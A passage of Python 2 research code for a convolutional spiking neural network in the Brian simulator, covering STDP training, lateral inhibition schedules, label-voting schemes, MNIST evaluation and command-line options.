ax1, ax2, im1, im2, assignments, spike_counts): ''' Update the plot of the weights from input to excitatory layer to view during training. ''' weights = get_2d_input_weights() im1.set_array(weights) reshaped_assignments = assignments.reshape((int(np.sqrt(n_e_total)), int(np.sqrt(n_e_total)))).T im2.set_array(reshaped_assignments) for txt in ax2.texts: txt.set_visible(False) spike_counts_reshaped = spike_counts.reshape([features_sqrt, features_sqrt]) for x in xrange(features_sqrt): for y in xrange(features_sqrt): c = spike_counts_reshaped[x, y] if c > 0: ax2.text(x, y, str(c), va='center', ha='center', weight='heavy', fontsize=16) else: ax2.text(x, y, '', va='center', ha='center') fig.canvas.draw() def get_current_performance(performances, current_example_num): ''' Evaluate the performance of the network on the past 'update_interval' training examples. ''' global input_numbers current_evaluation = int(current_example_num / update_interval) if current_example_num == num_examples -1: current_evaluation+=1 start_num = current_example_num - update_interval end_num = current_example_num wrong_idxs = {} wrong_labels = {} for scheme in performances.keys(): difference = output_numbers[scheme][start_num : end_num, 0] - input_numbers[start_num : end_num] correct = len(np.where(difference == 0)[0]) wrong_idxs[scheme] = np.where(difference != 0)[0] wrong_labels[scheme] = output_numbers[scheme][start_num : end_num, 0][np.where(difference != 0)[0]] performances[scheme][current_evaluation] = correct / float(update_interval) * 100 return performances, wrong_idxs, wrong_labels def plot_performance(fig_num, performances, num_evaluations): ''' Set up the performance plot for the beginning of the simulation. ''' time_steps = range(0, num_evaluations) fig = plt.figure(fig_num, figsize = (12, 4)) fig_num += 1 for performance in performances: plt.plot(time_steps[:np.size(np.nonzero(performances[performance]))], \ np.extract(np.nonzero(performances[performance]), performances[performance]), label=performance) lines = plt.gca().lines plt.ylim(ymax=100) plt.xticks(xrange(0, num_evaluations + 10, 10), xrange(0, ((num_evaluations + 10) * update_interval), 10)) plt.legend() plt.grid(True) plt.title('Classification performance per update interval') fig.canvas.draw() return lines, fig_num, fig def update_performance_plot(lines, performances, current_example_num, fig): ''' Update the plot of the performance based on results thus far. ''' performances, wrong_idxs, wrong_labels = get_current_performance(performances, current_example_num) for line, performance in zip(lines, performances): line.set_xdata(range((current_example_num / update_interval) + 1)) line.set_ydata(performances[performance][:(current_example_num / update_interval) + 1]) fig.canvas.draw() return lines, performances, wrong_idxs, wrong_labels def plot_deltas(fig_num, deltas, num_weight_updates): ''' Set up the performance plot for the beginning of the simulation. ''' time_steps = range(0, num_weight_updates) fig = plt.figure(fig_num, figsize = (12, 4)) fig_num += 1 plt.plot([], [], label='Absolute difference in weights') lines = plt.gca().lines plt.ylim(ymin=0, ymax=conv_size*n_e_total) plt.xticks(xrange(0, num_weight_updates + weight_update_interval, 100), \ xrange(0, ((num_weight_updates + weight_update_interval) * weight_update_interval), 100)) plt.legend() plt.grid(True) plt.title('Absolute difference in weights per weight update interval') fig.canvas.draw() return lines[0], fig_num, fig def update_deltas_plot(line, deltas, current_example_num, fig): ''' Update the plot of the performance based on results thus far. ''' delta = deltas[int(current_example_num / weight_update_interval)] line.set_xdata(range(int(current_example_num / weight_update_interval) + 1)) ydata = list(line.get_ydata()) ydata.append(delta) line.set_ydata(ydata) fig.canvas.draw() return line, deltas def predict_label(assignments, spike_rates, accumulated_rates, spike_proportions): ''' Given the label assignments of the excitatory layer and their spike rates over the past 'update_interval', get the ranking of each of the categories of input. ''' output_numbers = {} for scheme in voting_schemes: summed_rates = [0] * 10 num_assignments = [0] * 10 if scheme == 'all': for i in xrange(10): num_assignments[i] = len(np.where(assignments == i)[0]) if num_assignments[i] > 0: summed_rates[i] = np.sum(spike_rates[assignments == i]) / num_assignments[i] elif scheme == 'all_active': for i in xrange(10): num_assignments[i] = len(np.where(assignments == i)[0]) if num_assignments[i] > 0: summed_rates[i] = np.sum(np.nonzero(spike_rates[assignments == i])) / num_assignments[i] elif scheme == 'activity_neighborhood': for i in xrange(10): num_assignments[i] = len(np.where(assignments == i)[0]) if num_assignments[i] > 0: for idx in np.where(assignments == i)[0]: if np.sum(spike_rates[idx]) != 0: neighbors = [idx] neighbors.extend(get_neighbors(idx, features_sqrt)) summed_rates[i] += np.sum(spike_rates[neighbors]) / \ np.size(np.nonzero(spike_rates[neighbors].ravel())) elif scheme == 'most_spiked_neighborhood': neighborhood_activity = np.zeros([conv_features, n_e]) most_spiked_array = np.array(np.zeros((conv_features, n_e)), dtype=bool) for i in xrange(10): num_assignments[i] = len(np.where(assignments == i)[0]) if num_assignments[i] > 0: for idx in np.where(assignments == i)[0]: if np.sum(spike_rates[idx]) != 0: neighbors = [idx] neighbors.extend(get_neighbors(idx, features_sqrt)) if np.size(np.nonzero(spike_rates[neighbors])) > 0: neighborhood_activity[idx] = np.sum(spike_rates[neighbors]) / \ np.size(np.nonzero(spike_rates[neighbors].ravel())) for n in xrange(n_e): # find the excitatory neuron which spiked the most in this input location most_spiked_array[np.argmax(neighborhood_activity[:, n : n + 1]), n] = True # for each label for i in xrange(10): # get the number of label assignments of this type num_assignments[i] = len(np.where(assignments[most_spiked_array] == i)[0]) if len(spike_rates[np.where(assignments[most_spiked_array] == i)]) > 0: # sum the spike rates of all excitatory neurons with this label, which fired the most in its patch summed_rates[i] = np.sum(spike_rates[np.where(np.logical_and(assignments == i, most_spiked_array))]) / float(np.sum(spike_rates[most_spiked_array])) elif scheme == 'most_spiked_patch': most_spiked_array = np.array(np.zeros((conv_features, n_e)), dtype=bool) for feature in xrange(conv_features): # count up the spikes for the neurons in this convolution patch column_sums = np.sum(spike_rates[feature : feature + 1, :], axis=0) # find the excitatory neuron which spiked the most most_spiked_array[feature, np.argmax(column_sums)] = True # for each label for i in xrange(10): # get the number of label assignments of this type num_assignments[i] = len(np.where(assignments[most_spiked_array] == i)[0]) if len(spike_rates[np.where(assignments[most_spiked_array] == i)]) > 0: # sum the spike rates of all excitatory neurons with this label, which fired the most in its patch summed_rates[i] = np.sum(spike_rates[np.where(np.logical_and(assignments == i, most_spiked_array))]) / float(np.sum(spike_rates[most_spiked_array])) elif scheme == 'most_spiked_location': most_spiked_array = np.array(np.zeros((conv_features, n_e)), dtype=bool) for n in xrange(n_e): # find the excitatory neuron which spiked the most in this input location most_spiked_array[np.argmax(spike_rates[:, n : n + 1]), n] = True # for each label for i in xrange(10): # get the number of label assignments of this type num_assignments[i] = len(np.where(assignments[most_spiked_array] == i)[0]) if len(spike_rates[np.where(assignments[most_spiked_array] == i)]) > 0: # sum the spike rates of all excitatory neurons with this label, which fired the most in its patch summed_rates[i] = np.sum(spike_rates[np.where(np.logical_and(assignments == i, most_spiked_array))]) / float(np.sum(spike_rates[most_spiked_array])) elif scheme == 'confidence_weighting': for i in xrange(10): num_assignments[i] = np.count_nonzero(assignments == i) if num_assignments[i] > 0: summed_rates[i] = np.sum(spike_rates[assignments == i] * spike_proportions[(assignments == i).ravel(), i]) / num_assignments[i] output_numbers[scheme] = np.argsort(summed_rates)[::-1] return output_numbers def assign_labels(result_monitor, input_numbers, accumulated_rates, accumulated_inputs): ''' Based on the results from the previous 'update_interval', assign labels to the excitatory neurons. ''' for j in xrange(10): num_assignments = len(np.where(input_numbers == j)[0]) if num_assignments > 0: accumulated_inputs[j] += num_assignments accumulated_rates[:, j] = accumulated_rates[:, j] * 0.9 + \ np.ravel(np.sum(result_monitor[input_numbers == j], axis=0) / num_assignments) assignments = np.argmax(accumulated_rates, axis=1).reshape((conv_features, n_e)) spike_proportions = np.divide(accumulated_rates, np.sum(accumulated_rates, axis=0)) return assignments, accumulated_rates, spike_proportions def build_network(): global fig_num, assignments neuron_groups['e'] = b.NeuronGroup(n_e_total, neuron_eqs_e, threshold=v_thresh_e, refractory=refrac_e, reset=scr_e, compile=True, freeze=True) neuron_groups['i'] = b.NeuronGroup(n_e_total, neuron_eqs_i, threshold=v_thresh_i, refractory=refrac_i, reset=v_reset_i, compile=True, freeze=True) for name in population_names: print '...Creating neuron group:', name # get a subgroup of size 'n_e' from all exc neuron_groups[name + 'e'] = neuron_groups['e'].subgroup(conv_features * n_e) # get a subgroup of size 'n_i' from the inhibitory layer neuron_groups[name + 'i'] = neuron_groups['i'].subgroup(conv_features * n_e) # start the membrane potentials of these groups 40mV below their resting potentials neuron_groups[name + 'e'].v = v_rest_e - 40. * b.mV neuron_groups[name + 'i'].v = v_rest_i - 40. * b.mV print '...Creating recurrent connections' for name in population_names: # if we're in test mode / using some stored weights if test_mode: # load up adaptive threshold parameters if save_best_model: neuron_groups['e'].theta = np.load(os.path.join(best_weights_dir, '_'.join(['theta_A', ending +'_best.npy']))) else: neuron_groups['e'].theta = np.load(os.path.join(end_weights_dir, '_'.join(['theta_A', ending +'_end.npy']))) else: # otherwise, set the adaptive additive threshold parameter at 20mV neuron_groups['e'].theta = np.ones((n_e_total)) * 20.0 * b.mV for conn_type in recurrent_conn_names: if conn_type == 'ei': # create connection name (composed of population and connection types) conn_name = name + conn_type[0] + name + conn_type[1] # create a connection from the first group in conn_name with the second group connections[conn_name] = b.Connection(neuron_groups[conn_name[0:2]], neuron_groups[conn_name[2:4]], structure='sparse', state='g' + conn_type[0]) # instantiate the created connection for feature in xrange(conv_features): for n in xrange(n_e): connections[conn_name][feature * n_e + n, feature * n_e + n] = 10.4 elif conn_type == 'ie' and not (test_no_inhibition and test_mode): # create connection name (composed of population and connection types) conn_name = name + conn_type[0] + name + conn_type[1] # get weight matrix depending on training or test phase if test_mode: if save_best_model and not test_max_inhibition: weight_matrix = np.load(os.path.join(best_weights_dir, '_'.join([conn_name, ending + '_best.npy']))) elif test_max_inhibition: weight_matrix = max_inhib * np.ones((n_e_total, n_e_total)) else: weight_matrix = np.load(os.path.join(end_weights_dir, '_'.join([conn_name, ending + '_end.npy']))) # create a connection from the first group in conn_name with the second group connections[conn_name] = b.Connection(neuron_groups[conn_name[0:2]], neuron_groups[conn_name[2:4]], structure='sparse', state='g' + conn_type[0]) # define the actual synaptic connections and strengths for feature in xrange(conv_features): for other_feature in xrange(conv_features): if feature != other_feature: if n_e == 1: x, y = feature // np.sqrt(n_e_total), feature % np.sqrt(n_e_total) x_, y_ = other_feature // np.sqrt(n_e_total), other_feature % np.sqrt(n_e_total) else: x, y = feature // np.sqrt(conv_features), feature % np.sqrt(conv_features) x_, y_ = other_feature // np.sqrt(conv_features), other_feature % np.sqrt(conv_features) for n in xrange(n_e): if test_mode: connections[conn_name][feature * n_e + n, other_feature * n_e + n] = \ weight_matrix[feature * n_e + n, other_feature * n_e + n] else: if inhib_scheme == 'increasing': connections[conn_name][feature * n_e + n, other_feature * n_e + n] = \ min(max_inhib, start_inhib * \ np.sqrt(euclidean([x, y], [x_, y_]))) elif inhib_scheme == 'eth': connections[conn_name][feature * n_e + n, \ other_feature * n_e + n] = max_inhib elif inhib_scheme == 'mhat': connections[conn_name][feature * n_e + n, \ other_feature * n_e + n] = \ min(max_inhib, start_inhib * \ mhat(np.sqrt(euclidean([x, y], [x_, y_])), \ sigma=1.0, scale=1.0, shift=0.0)) print '...Creating monitors for:', name # spike rate monitors for excitatory and inhibitory neuron populations rate_monitors[name + 'e'] = b.PopulationRateMonitor(neuron_groups[name + 'e'], bin=(single_example_time + resting_time) / b.second) rate_monitors[name + 'i'] = b.PopulationRateMonitor(neuron_groups[name + 'i'], bin=(single_example_time + resting_time) / b.second) spike_counters[name + 'e'] = b.SpikeCounter(neuron_groups[name + 'e']) # record neuron population spikes if specified if record_spikes and do_plot: spike_monitors[name + 'e'] = b.SpikeMonitor(neuron_groups[name + 'e']) spike_monitors[name + 'i'] = b.SpikeMonitor(neuron_groups[name + 'i']) if record_spikes and do_plot: b.figure(fig_num, figsize=(8, 6)) fig_num += 1 b.ion() b.subplot(211) b.raster_plot(spike_monitors['Ae'], refresh=1000 * b.ms, showlast=1000 * b.ms, title='Excitatory spikes per neuron') b.subplot(212) b.raster_plot(spike_monitors['Ai'], refresh=1000 * b.ms, showlast=1000 * b.ms, title='Inhibitory spikes per neuron') b.tight_layout() # creating Poission spike train from input image (784 vector, 28x28 image) for name in input_population_names: input_groups[name + 'e'] = b.PoissonGroup(n_input, 0) rate_monitors[name + 'e'] = b.PopulationRateMonitor(input_groups[name + 'e'], bin=(single_example_time + resting_time) / b.second) # creating connections from input Poisson spike train to excitatory neuron population(s) for name in input_connection_names: print '\n...Creating connections between', name[0], 'and', name[1] # for each of the input connection types (in this case, excitatory -> excitatory) for conn_type in input_conn_names: # saved connection name conn_name = name[0] + conn_type[0] + name[1] + conn_type[1] # get weight matrix depending on training or test phase if test_mode: if save_best_model: weight_matrix = np.load(os.path.join(best_weights_dir, '_'.join([conn_name, ending + '_best.npy']))) else: weight_matrix = np.load(os.path.join(end_weights_dir, '_'.join([conn_name, ending + '_end.npy']))) # create connections from the windows of the input group to the neuron population input_connections[conn_name] = b.Connection(input_groups['Xe'], neuron_groups[name[1] + conn_type[1]], \ structure='sparse', state='g' + conn_type[0], delay=True, max_delay=delay[conn_type][1]) if test_mode: for feature in xrange(conv_features): for n in xrange(n_e): for idx in xrange(conv_size ** 2): input_connections[conn_name][convolution_locations[n][idx], feature * n_e + n] = \ weight_matrix[convolution_locations[n][idx], feature * n_e + n] else: for feature in xrange(conv_features): for n in xrange(n_e): for idx in xrange(conv_size ** 2): input_connections[conn_name][convolution_locations[n][idx], feature * n_e + n] = (b.random() + 0.01) * 0.3 if test_mode: if do_plot: plot_weights_and_assignments(assignments) fig_num += 1 # if excitatory -> excitatory STDP is specified, add it here (input to excitatory populations) if not test_mode: print '...Creating STDP for connection', name # STDP connection name conn_name = name[0] + conn_type[0] + name[1] + conn_type[1] # create the STDP object stdp_methods[conn_name] = b.STDP(input_connections[conn_name], eqs=eqs_stdp_ee, \ pre=eqs_stdp_pre_ee, post=eqs_stdp_post_ee, wmin=0., wmax=wmax_ee) print '\n' def run_train(): global fig_num, input_intensity, previous_spike_count, rates, assignments, clusters, cluster_assignments, \ simple_clusters, simple_cluster_assignments, index_matrix, accumulated_rates, \ accumulated_inputs, spike_proportions if do_plot: input_image_monitor, input_image = plot_input(rates) fig_num += 1 weights_assignments_figure, weights_axes, assignments_axes, weights_image, \ assignments_image = plot_weights_and_assignments(assignments) fig_num += 1 # set up performance recording and plotting num_evaluations = int(num_examples / update_interval) + 1 performances = { voting_scheme : np.zeros(num_evaluations) for voting_scheme in voting_schemes } num_weight_updates = int(num_examples / weight_update_interval) all_deltas = np.zeros((num_weight_updates, n_e_total)) deltas = np.zeros(num_weight_updates) if do_plot: performance_monitor, fig_num, fig_performance = plot_performance(fig_num, performances, num_evaluations) line, fig_num, deltas_figure = plot_deltas(fig_num, deltas, num_weight_updates) if plot_all_deltas: lines, fig_num, all_deltas_figure = plot_all_deltas(fig_num, all_deltas, num_weight_updates) else: performances, wrong_idxs, wrong_labels = get_current_performance(performances, 0) # initialize network j = 0 num_retries = 0 b.run(0) if save_best_model: best_performance = 0.0 # start recording time start_time = timeit.default_timer() last_weights = input_connections['XeAe'][:].todense() current_inhib = start_inhib while j < num_examples: # get the firing rates of the next input example rates = (data['x'][j % data_size, :, :] / 8.0) * input_intensity * \ ((noise_const * np.random.randn(n_input_sqrt, n_input_sqrt)) + 1.0) # sets the input firing rates input_groups['Xe'].rate = rates.reshape(n_input) # plot the input at this step if do_plot: input_image_monitor = update_input(rates, input_image_monitor, input_image) # run the network for a single example time b.run(single_example_time) # add Gaussian noise to weights after each iteration if weights_noise: input_connections['XeAe'].W.alldata[:] *= 1 + (np.random.randn(n_input * conv_features) * weights_noise_constant) # get new neuron label assignments every 'update_interval' if j % update_interval == 0 and j > 0: assignments, accumulated_rates, spike_proportions = assign_labels(result_monitor, \ input_numbers[j - update_interval : j], accumulated_rates, accumulated_inputs) splitlines = stdp_methods['XeAe']._contained_objects[-1].propagate.codestr.splitlines() splitlines[16] = 'w += ' + str(float(splitlines[16].split()[2].split('*')[0]) * lr_decrease) + '*pre;;' stdp_methods['XeAe']._contained_objects[-1].propagate.codestr = '\n'.join(splitlines) splitlines = stdp_methods['XeAe']._contained_objects[-2].propagate.codestr.splitlines() splitlines[13] = 'w -= ' + str(float(splitlines[13].split()[2].split('*')[0]) * lr_decrease) + '*post;;' stdp_methods['XeAe']._contained_objects[-2].propagate.codestr = '\n'.join(splitlines) # get count of spikes over the past iteration current_spike_count = np.copy(spike_counters['Ae'].count[:]).reshape((conv_features, n_e)) - previous_spike_count previous_spike_count = np.copy(spike_counters['Ae'].count[:]).reshape((conv_features, n_e)) # make sure synapse weights don't grow too large normalize_weights() if not j % weight_update_interval == 0 and save_weights: save_connections(weights_dir, connections, input_connections, ending, j) save_theta(weights_dir, population_names, neuron_groups, ending, j) np.save(os.path.join(assignments_dir, '_'.join(['assignments', ending, str(j)])), assignments) np.save(os.path.join(misc_dir, '_'.join(['accumulated_rates', ending, str(j)])), accumulated_rates) np.save(os.path.join(misc_dir, '_'.join(['spike_proportions', ending, str(j)])), spike_proportions) if j % weight_update_interval == 0: deltas[j / weight_update_interval] = np.sum(np.abs((input_connections['XeAe'][:].todense() - last_weights))) if plot_all_deltas: all_deltas[j / weight_update_interval, :] = np.ravel(input_connections['XeAe'][:].todense() - last_weights) last_weights = input_connections['XeAe'][:].todense() # pickling performance recording and iteration number p.dump((j, deltas), open(os.path.join(deltas_dir, ending + '.p'), 'wb')) # update weights every 'weight_update_interval' if j % weight_update_interval == 0 and do_plot: update_weights_and_assignments(weights_assignments_figure, weights_axes, assignments_axes, \ weights_image, assignments_image, assignments, current_spike_count) # if the neurons in the network didn't spike more than four times if np.sum(current_spike_count) < 5 and num_retries < 3: # increase the intensity of input input_intensity += 2 num_retries += 1 # set all network firing rates to zero for name in input_population_names: input_groups[name + 'e'].rate = 0 # let the network relax back to equilibrium if not reset_state_vars: b.run(resting_time) else: for neuron_group in neuron_groups: neuron_groups[neuron_group].v = v_reset_e neuron_groups[neuron_group].ge = 0 neuron_groups[neuron_group].gi = 0 # otherwise, record results and continue simulation else: num_retries = 0 if j > 0 and j % inhib_update_interval == 0 and not current_inhib >= max_inhib: if inhib_schedule == 'linear': current_inhib = current_inhib + inhib_increase elif inhib_schedule == 'log': current_inhib = inhib_increase[j // inhib_update_interval] print '\nCurrent inhibition level:', min(max_inhib, current_inhib) for feature in xrange(conv_features): for other_feature in xrange(conv_features): if feature != other_feature: if n_e == 1: x, y = feature // np.sqrt(n_e_total), feature % np.sqrt(n_e_total) x_, y_ = other_feature // np.sqrt(n_e_total), other_feature % np.sqrt(n_e_total) else: x, y = feature // np.sqrt(conv_features), feature % np.sqrt(conv_features) x_, y_ = other_feature // np.sqrt(conv_features), other_feature % np.sqrt(conv_features) for n in xrange(n_e): connections['AiAe'][feature * n_e + n, other_feature * n_e + n] = \ min(max_inhib, current_inhib * np.sqrt(euclidean([x, y], [x_, y_]))) # record the current number of spikes result_monitor[j % update_interval, :] = current_spike_count # get true label of last input example input_numbers[j] = data['y'][j % data_size][0] activity = result_monitor[j % update_interval, :] / np.sum(result_monitor[j % update_interval, :]) if do_plot and save_spikes: fig = plt.figure(9, figsize = (8, 8)) plt.imshow(rates.reshape((28, 28)), interpolation='nearest', vmin=0, vmax=64, cmap='binary') plt.title(str(data['y'][j % data_size][0]) + ' : ' + ', '.join( \ [str(int(output_numbers[scheme][j, 0])) for scheme in voting_schemes])) fig = plt.figure(10, figsize = (7, 7)) plt.xticks(xrange(features_sqrt)) plt.yticks(xrange(features_sqrt)) plt.title('Activity heatmap (total spikes = ' + str(np.sum(result_monitor[j % update_interval, :])) + ')') plt.imshow(activity.reshape((features_sqrt, features_sqrt)).T, interpolation='nearest', cmap='binary') plt.grid(True) fig.canvas.draw() if save_spikes: np.save(os.path.join(spikes_dir, '_'.join([ending, 'spike_counts', str(j)])), current_spike_count) np.save(os.path.join(spikes_dir, '_'.join([ending, 'rates', str(j)])), rates) # get network filter weights filters = input_connections['XeAe'][:].todense() # get the output classifications of the network for scheme, outputs in predict_label(assignments, result_monitor[j % update_interval, :], \ accumulated_rates, spike_proportions).items(): if scheme != 'distance': output_numbers[scheme][j, :] = outputs elif scheme == 'distance': current_input = (rates * (weight['ee_input'] / np.sum(rates))).ravel() output_numbers[scheme][j, 0] = assignments[np.argmin([ euclidean(current_input, \ filters[:, i]) for i in xrange(conv_features) ])] # print progress if j % print_progress_interval == 0 and j > 0: print 'runs done:', j, 'of', int(num_examples), '(time taken for past', print_progress_interval, 'runs:', str(timeit.default_timer() - start_time) + ')' start_time = timeit.default_timer() if j % weight_update_interval == 0 and do_plot: update_deltas_plot(line, deltas, j, deltas_figure) if plot_all_deltas: update_all_deltas_plot(lines, all_deltas, j, all_deltas_figure) # plot performance if appropriate if (j % update_interval == 0 or j == num_examples - 1) and j > 0: if do_plot: # updating the performance plot perf_plot, performances, wrong_idxs, wrong_labels = update_performance_plot(performance_monitor, performances, j, fig_performance) else: performances, wrong_idxs, wrong_labels = get_current_performance(performances, j) # pickling performance recording and iteration number p.dump((j, performances), open(os.path.join(performance_dir, ending + '.p'), 'wb')) # Save the best model's weights and theta parameters (if so specified) if save_best_model: for performance in performances: if performances[performance][int(j / float(update_interval))] > best_performance: print '\n', 'Best model thus far! Voting scheme:', performance, '\n' best_performance = performances[performance][int(j / float(update_interval))] save_connections(best_weights_dir, connections, input_connections, ending, 'best') save_theta(best_weights_dir, population_names, neuron_groups, ending, 'best') np.save(os.path.join(best_assignments_dir, '_'.join(['assignments', ending, 'best'])), assignments) np.save(os.path.join(best_misc_dir, '_'.join(['accumulated_rates', ending, 'best'])), accumulated_rates) np.save(os.path.join(best_misc_dir, '_'.join(['spike_proportions', ending, 'best'])), spike_proportions) # Print out performance progress intermittently for performance in performances: print '\nClassification performance (' + performance + ')', performances[performance][1:int(j / float(update_interval)) + 1], \ '\nAverage performance:', sum(performances[performance][1:int(j / float(update_interval)) + 1]) / \ float(len(performances[performance][1:int(j / float(update_interval)) + 1])), \ '\nBest performance:', max(performances[performance][1:int(j / float(update_interval)) + 1]), '\n' # set input firing rates back to zero for name in input_population_names: input_groups[name + 'e'].rate = 0 # run the network for 'resting_time' to relax back to rest potentials if not reset_state_vars: b.run(resting_time) else: for neuron_group in neuron_groups: neuron_groups[neuron_group].v = v_reset_e neuron_groups[neuron_group].ge = 0 neuron_groups[neuron_group].gi = 0 # bookkeeping input_intensity = start_input_intensity j += 1 # ensure weights don't grow without bound normalize_weights() print '\n' def run_test(): global fig_num, input_intensity, previous_spike_count, rates, assignments, clusters, cluster_assignments, \ simple_clusters, simple_cluster_assignments, index_matrix, accumulated_rates, \ accumulated_inputs, spike_proportions # set up performance recording and plotting num_evaluations = int(num_examples / update_interval) + 1 performances = { voting_scheme : np.zeros(num_evaluations) for voting_scheme in voting_schemes } num_weight_updates = int(num_examples / weight_update_interval) all_deltas = np.zeros((num_weight_updates, (conv_size ** 2) * n_e_total)) deltas = np.zeros(num_weight_updates) # initialize network j = 0 num_retries = 0 b.run(0) # get network filter weights filters = input_connections['XeAe'][:].todense() # start recording time start_time = timeit.default_timer() while j < num_examples: # get the firing rates of the next input example rates = (data['x'][j % data_size, :, :] / 8.0) * input_intensity # sets the input firing rates input_groups['Xe'].rate = rates.reshape(n_input) # run the network for a single example time b.run(single_example_time) # get count of spikes over the past iteration current_spike_count = np.copy(spike_counters['Ae'].count[:]).reshape((conv_features, n_e)) - previous_spike_count previous_spike_count = np.copy(spike_counters['Ae'].count[:]).reshape((conv_features, n_e)) # if the neurons in the network didn't spike more than four times if np.sum(current_spike_count) < 5 and num_retries < 3: # increase the intensity of input input_intensity += 2 num_retries += 1 # set all network firing rates to zero for name in input_population_names: input_groups[name + 'e'].rate = 0 # let the network relax back to equilibrium if not reset_state_vars: b.run(resting_time) else: for neuron_group in neuron_groups: neuron_groups[neuron_group].v = v_reset_e neuron_groups[neuron_group].ge = 0 neuron_groups[neuron_group].gi = 0 # otherwise, record results and continue simulation else: num_retries = 0 # record the current number of spikes result_monitor[j % update_interval, :] = current_spike_count # get true label of the past input example input_numbers[j] = data['y'][j % data_size][0] # get the output classifications of the network for scheme, outputs in predict_label(assignments, result_monitor[j % update_interval, :], accumulated_rates, spike_proportions).items(): if scheme != 'distance': output_numbers[scheme][j, :] = outputs elif scheme == 'distance': current_input = (rates * (weight['ee_input'] / np.sum(rates))).ravel() output_numbers[scheme][j, 0] = assignments[np.argmin([ euclidean(current_input, \ filters[:, i]) for i in xrange(conv_features) ])] # print progress if j % print_progress_interval == 0 and j > 0: print 'runs done:', j, 'of', int(num_examples), '(time taken for past', print_progress_interval, 'runs:', str(timeit.default_timer() - start_time) + ')' start_time = timeit.default_timer() # set input firing rates back to zero for name in input_population_names: input_groups[name + 'e'].rate = 0 # run the network for 'resting_time' to relax back to rest potentials if not reset_state_vars: b.run(resting_time) else: for neuron_group in neuron_groups: neuron_groups[neuron_group].v = v_reset_e neuron_groups[neuron_group].ge = 0 neuron_groups[neuron_group].gi = 0 # bookkeeping input_intensity = start_input_intensity j += 1 print '\n' def save_results(): ''' Save results of simulation (train or test) ''' print '...Saving results' if not test_mode: save_connections(end_weights_dir, connections, input_connections, ending, 'end') save_theta(end_weights_dir, population_names, neuron_groups, ending, 'end') np.save(os.path.join(end_assignments_dir, '_'.join(['assignments', ending, 'end'])), assignments) np.save(os.path.join(end_misc_dir, '_'.join(['accumulated_rates', ending, 'end'])), accumulated_rates) np.save(os.path.join(end_misc_dir, '_'.join(['spike_proportions', ending, 'end'])), spike_proportions) else: np.save(os.path.join(activity_dir, '_'.join(['results', str(num_examples), ending])), result_monitor) np.save(os.path.join(activity_dir, '_'.join(['input_numbers', str(num_examples), ending])), input_numbers) print '\n' def evaluate_results(): ''' Evalute the network using the various voting schemes in test mode ''' global update_interval test_results = {} for scheme in voting_schemes: test_results[scheme] = np.zeros((10, num_examples)) print '\n...Calculating accuracy per voting scheme' # get network filter weights filters = input_connections['XeAe'][:].todense() # for idx in xrange(end_time_testing - end_time_training): for idx in xrange(num_examples): label_rankings = predict_label(assignments, result_monitor[idx, :], accumulated_rates, spike_proportions) for scheme in voting_schemes: if scheme != 'distance': test_results[scheme][:, idx] = label_rankings[scheme] elif scheme == 'distance': rates = (data['x'][idx % data_size, :, :] / 8.0) * input_intensity current_input = (rates * (weight['ee_input'] / np.sum(rates))).ravel() results = np.zeros(10) results[0] = assignments[np.argmin([ euclidean(current_input, \ filters[:, i]) for i in xrange(conv_features) ])] test_results[scheme][:, idx] = results print test_results differences = { scheme : test_results[scheme][0, :] - input_numbers for scheme in voting_schemes } correct = { scheme : len(np.where(differences[scheme] == 0)[0]) for scheme in voting_schemes } incorrect = { scheme : len(np.where(differences[scheme] != 0)[0]) for scheme in voting_schemes } accuracies = { scheme : correct[scheme] / float(num_examples) * 100 for scheme in voting_schemes } conf_matrices = np.array([confusion_matrix(test_results[scheme][0, :], \ input_numbers) for scheme in voting_schemes]) np.save(os.path.join(results_path, '_'.join(['confusion_matrix', ending]) + '.npy'), conf_matrices) print '\nConfusion matrix:\n\n', conf_matrices for scheme in voting_schemes: print '\n-', scheme, 'accuracy:', accuracies[scheme] results = pd.DataFrame([ [ ending ] + accuracies.values() ], columns=[ 'Model' ] + accuracies.keys()) if not 'results.csv' in os.listdir(results_path): results.to_csv(os.path.join(results_path, 'results.csv'), index=False) else: all_results = pd.read_csv(os.path.join(results_path, 'results.csv')) all_results = pd.concat([all_results, results], ignore_index=True) all_results.to_csv(os.path.join(results_path, 'results.csv'), index=False) print '\n' if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('--mode', default='train', help='Network operating mode: \ "train" mode learns the synaptic weights of the network, and \ "test" mode holds the weights fixed / evaluates accuracy on test data.') parser.add_argument('--conv_size', type=int, default=28, help='Side length of the square convolution \ window used by the input -> excitatory layer of the network.') parser.add_argument('--conv_stride', type=int, default=0, help='Horizontal, vertical stride \ of the convolution window used by input layer of the network.') parser.add_argument('--conv_features', type=int, default=100, help='Number of excitatory \ convolutional features / filters / patches used in the network.') parser.add_argument('--do_plot', type=str, default='False', help='Whether or not to display plots during network \ training / testing. Defaults to False, as this makes the \ network operation speedier, and possible to run on HPC resources.') parser.add_argument('--num_train', type=int, default=10000, help='The number of \ examples for which to train the network on.') parser.add_argument('--num_test', type=int, default=10000, help='The number of \ examples for which to test the network on.') parser.add_argument('--random_seed', type=int, default=42, help='The random seed \ (any integer) from which to generate random numbers.') parser.add_argument('--save_weights', type=str, default='False', help='Whether or not to \ save the weights of the model every `weight_update_interval`.') parser.add_argument('--weight_update_interval', type=int, default=10, help='How often \ to update the plot of network filter weights.') parser.add_argument('--save_best_model', type=str, default='True', help='Whether \ to save the current best version of the model.') parser.add_argument('--update_interval', type=int, default=250, help='How often \ to update neuron labels and classify new inputs.') parser.add_argument('--plot_all_deltas', type=str, default='False', help='Whether or not to \ plot weight changes for all neurons from input to excitatory layer.') parser.add_argument('--train_remove_inhibition', type=str, default='False', help='Whether or not to \ remove lateral inhibition during the training phase.') parser.add_argument('--test_no_inhibition', type=str, default='False', help='Whether or not to \ remove lateral inhibition during the test phase.') parser.add_argument('--test_max_inhibition', type=str, default='False', help='Whether or not to \ use ETH-style inhibition during the test phase.') parser.add_argument('--start_inhib', type=float, default=0.1, help='The beginning value \ of inhibiton for the increasing scheme.') parser.add_argument('--max_inhib', type=float, default=17.4, help='The maximum synapse \ weight for inhibitory to excitatory connections.') parser.add_argument('--reset_state_vars', type=str, default='False', help='Whether to \ reset neuron / synapse state variables or run a "reset" period.') parser.add_argument('--inhib_update_interval', type=int, default=250, \ help='How often to increase the inhibition strength.') parser.add_argument('--inhib_schedule', type=str, default='linear', help='How to \ update the strength of inhibition as the training progresses.') parser.add_argument('--save_spikes', type=str, default='False', help='Whether or not to \ save 2D graphs of spikes to later use to make an activity time-lapse.') parser.add_argument('--normalize_inputs', type=str, default='False', help='Whether or not \ to ensure all inputs contain the same amount of "ink".') 